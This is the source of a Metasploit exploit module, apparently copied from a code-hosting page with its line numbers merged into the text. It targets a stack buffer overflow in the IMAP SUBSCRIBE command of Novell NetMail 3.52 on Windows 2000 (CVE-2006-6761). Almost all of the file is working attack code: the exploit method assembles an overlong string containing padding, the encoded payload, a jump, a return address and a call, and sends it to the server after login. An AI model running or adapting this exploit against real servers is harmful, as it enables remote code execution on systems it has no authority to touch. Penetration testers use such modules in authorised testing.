Path: blob/master/modules/exploits/windows/imap/novell_netmail_subscribe.rb
21628 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Novell NetMail IMAP SUBSCRIBE Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE17verb. By sending an overly long string, an attacker can overwrite the18buffer and control program execution.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2006-6761' ],24[ 'OSVDB', '31360' ],25[ 'BID', '21728' ],26[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'thread',31},32'Payload' => {33'Space' => 500,34'BadChars' => "\x00\x0a\x0d\x20",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [39['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],40],41'DefaultTarget' => 0,42'DisclosureDate' => '2006-12-23',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)50end5152def exploit53sploit = "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded54sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')55sploit << [0xe8, -485].pack('CV') + rand_text_english(150)5657info = connect_login5859if (info == true)60print_status("Trying target #{target.name}...")61sock.put(sploit + "\r\n")62else63print_status("Not falling through with exploit")64end6566handler67disconnect68end69end707172